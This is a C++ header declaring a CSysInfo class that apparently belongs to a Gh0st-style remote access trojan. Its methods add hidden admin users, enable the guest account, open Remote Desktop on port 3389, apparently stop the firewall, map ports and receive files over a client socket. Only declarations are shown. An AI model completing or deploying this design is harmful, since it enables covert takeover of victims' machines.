2024-06-23 17:36:53 +08:00

66 lines
2.1 KiB
C++

// SysInfo.h: interface for the CSysInfo class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_)
#define AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "../Manager.h"
#include "ZXPortMap.h"
class CSysInfo : public CManager
{
public:
void OnReceive(LPBYTE lpBuffer, UINT nSize);
DWORD ChangePort(LPVOID lparam);
DWORD StopFire();
void AddAdminUser();
void DeleteUser();
BOOL OpenGuest();
void ChangeUserPass();
BOOL DelUserName(char *user);
BOOL DelSidName(char *sid);
void Close3389();
DWORD Open3389(LPVOID lparam);
CZXPortMap cPortMap;
DWORD nCtrlPort, nPort;
TCHAR m_strCurrentProcessFileNames[MAX_PATH]; // 当前正在处理的文件
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
void CreateLocalRecvFile(LPBYTE lpBuffer);
void GetFileData();
void GetOpenFile();
static DWORD WINAPI PortMap(LPVOID lparam);
void SendSysInfo();
void SendInstallInfo();
LPBYTE getWtsmList();
LPBYTE getSList();
LPBYTE getMeritListo();
void SendWtsmList();
void SendSList();
char* GetTSClientName(DWORD sessionID);
char* GetTSClientProtocolType(DWORD sessionID);
void GetSystemInfo(tagSystemInfo1* pSysInfo);
void GetOnlineInfo(tagOnlineInfo* pInsInfo);
void WtsLoGoff(LPBYTE lpBuffer, UINT nSize);
void WtsDisc(LPBYTE lpBuffer, UINT nSize);
void SendNetstart(LPBYTE lpBuffer, UINT nSize , UINT User_kt); //帐户启用 停止
// CSysInfo(CClientSocket *pClient);
CSysInfo(CClientSocket *pClient,UINT Ports,UCHAR Linetypes,UCHAR Opertypes,CHAR *Addressl);
virtual ~CSysInfo();
void SendMeritListo(); //功能状态
void SendMeritart(LPBYTE lpBuffer, UINT nSize , UINT User_kt); //功能启用/禁用
private:
UINT NetPort; //连接端口
UCHAR NetLine; //连接方式
UCHAR NetOpert; //运行类型
CHAR *Linkaddress; //连接地址
};
#endif // !defined(AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_)